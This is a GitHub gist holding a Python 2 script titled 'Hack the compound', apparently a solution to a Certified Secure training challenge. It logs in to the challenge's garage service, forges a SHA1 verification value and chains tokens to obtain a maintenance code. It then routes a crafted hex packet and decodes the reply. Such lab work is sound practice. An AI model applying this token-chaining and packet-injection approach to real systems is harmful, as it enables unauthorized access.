Skip to content

Instantly share code, notes, and snippets.

@jkeuper
Last active February 13, 2019 12:40
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save jkeuper/414a965cb66cea1ef1fe5df3b9864bc0 to your computer and use it in GitHub Desktop.
Save jkeuper/414a965cb66cea1ef1fe5df3b9864bc0 to your computer and use it in GitHub Desktop.
Hack the compound
#!/usr/bin/python
'''
https://www.tutorialspoint.com/execute_python_online.php
https://hpd.gasmi.net/
https://gist.github.com/olijf/
'''
import requests
import urllib2,json
import hashlib
authenticationToken = ''
maintenanceCode = ''
url = 'https://compound-garage.certifiedsecure.org/login'
data = {
'username': 'userf18b1ba7',
'password': '1d9c5b0424cce5c5fc7068cfd167845d56c785a1',
'secret': '242a64a69a16e0b006b6b54c98c359a0edbaae64'
}
resp = requests.post(url=url, json=data)
json = resp.json()
print 'LOGIN: ' + json['status']
if json['status'] == "OK":
dataToSha = json['login_token'] + str(json['login_expiry']).encode() + data["secret"]
m = hashlib.sha1()
m.update(dataToSha)
secret = m.hexdigest()
url = 'https://compound-garage.certifiedsecure.org/verification'
data = {
'login_token': json['login_token'],
'secret': secret
}
resp = requests.post(url=url, json=data)
json = resp.json()
print 'VERIFY: ' + json['status']
if json['status'] == "OK":
authenticationToken = json['authentication_token']
url = 'https://compound-garage.certifiedsecure.org/maintenance'
data = {
'authentication_token': authenticationToken,
}
resp = requests.post(url=url, json=data)
json = resp.json()
print 'MAINTENANCE: ' + json['status']
if json['status'] == "OK":
maintenanceCode = json['maintenance_code']
print 'MAINTENANCE CODE: ' + maintenanceCode
packet = '32 82 56 16 DA 3C 32 82 56 11 A0 4B 08 00 ...'.replace(' ', '')
url = 'https://compound-garage.certifiedsecure.org/route'
data = {
'authentication_token': authenticationToken,
'maintenance_code': maintenanceCode,
'packet': packet
}
resp = requests.post(url=url, json=data)
json = resp.json()
if json['status'] == "OK":
result = json['packet']
print result[42*2:].decode("hex")
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment